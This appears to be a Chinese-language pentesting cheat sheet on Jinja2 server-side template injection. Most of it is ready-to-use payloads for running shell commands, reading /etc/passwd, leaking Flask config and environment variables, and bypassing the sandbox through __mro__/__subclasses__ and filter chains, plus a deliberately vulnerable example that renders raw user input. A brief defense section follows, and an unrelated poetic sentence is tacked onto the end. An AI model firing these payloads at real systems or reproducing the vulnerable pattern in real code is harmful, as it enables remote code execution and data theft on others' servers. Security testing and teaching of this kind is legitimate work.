一、基础知识
1. Jinja2简介
• 模板引擎:Python的主流模板引擎,广泛用于Flask、Django等框架。
• 语法标签:
• 变量输出:{{ variable }}
• 逻辑控制:{% if condition %}...{% endif %}
• 注释:
• 沙盒机制:默认禁用危险操作(如文件读写),但可通过继承链绕过。
2. 开发中的代码实例
正常使用示例(安全)
from jinja2 import Environment, FileSystemLoader
env = Environment(loader=FileSystemLoader('templates'))
template = env.get_template('index.html')
name = request.args.get('name', 'Guest')
output = template.render(name=name) # 安全渲染
有漏洞的代码示例(危险!)
from jinja2 import Template
user_input = request.args.get('content')
template = Template(user_input) # 直接渲染用户输入
output = template.render()
二、渗透关键点
1. 检测注入点
• 输入点:URL参数、Cookie、动态模板内容。
• 检测方法:
GET /page?param={{7 * 7}} HTTP/1.1
2. 沙盒状态判断
• 默认沙盒:Jinja2默认限制文件读写和危险函数。
• 沙盒绕过标志:尝试访问敏感属性(如__class__
),成功则沙盒未启用。
三、漏洞利用与Payload
1. 基础利用(Python对象操作)
执行命令
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
文件读取
{{ self.__init__.__globals__.__builtins__.open('/etc/passwd').read() }}
2. 类继承链攻击
通过__mro__
访问危险类
{{ ''.__class__.__mro__[1].__subclasses__() }} <!-- 列出所有子类 -->
查找可用的危险类(如subprocess.Popen
):
{{ ''.__class__.__mro__[1].__subclasses__()[413]('id', shell=True, stdout=-1).communicate() }}
3. 绕过沙盒的快捷方式
使用__dict__
访问模块
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
利用内置cycler
或joiner
(Flask特定)
{{ cycler.__init__.__globals__.os.system('id') }}
4. 其他Payload
• 信息泄露:
{{ config }} <!-- 泄露Flask配置 -->
{{ request.environ }} <!-- 泄露环境变量 -->
• XSS利用:
{{ '' | safe }} <!-- 需关闭自动转义 -->
四、防御手段
1. 官方推荐
• 避免渲染用户输入:禁止动态拼接模板内容。
• 启用严格沙盒:
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
2. 安全配置
• 更新至最新版本(≥Jinja2 3.x)。
• 使用白名单限制模板可访问的属性和方法。
• 在Flask中禁用调试模式(app.debug = False
)。
五、绕过技巧
1. 字符串拼接
{{ self["__init__"]["__globals__"]["__builtins__"]["__import__"]("os").popen("id").read() }}
2. 利用过滤器
{{ "id" | map("system") }}
3. 全局函数注入
{{ lipsum.__globals__.os.popen("id").read() }}
4. 属性链展开
{{ (()|select|string|list).__class__.__mro__[1].__subclasses__()[413]('id',shell=True) }}
六、总结与参考
1. 测试流程
- 检测注入点 → 2. 访问
__class__
验证沙盒 → 3. 构造继承链 → 4. 执行命令/读取文件
2. 高危CVE
• CVE-2019-8341:Jinja2沙盒绕过漏洞(影响版本<2.10.1)。
• CVE-2022-2333:Flask调试模式RCE(需结合Jinja2)。
3. 参考资源
• Jinja2官方文档
• SSTI Payload生成工具
• Jinja2沙盒绕过研究
备注:Jinja2的沙盒限制较为严格,但通过对象继承链仍可实现绕过。渗透测试时需优先验证__class__
等魔术方法的可访问性,并关注目标框架(如Flask)的特定漏洞。
梦里小镇落雨,开花,起风,挂霜,甚至扬起烤红薯的香气,每个墙角都能听见人们的说笑声。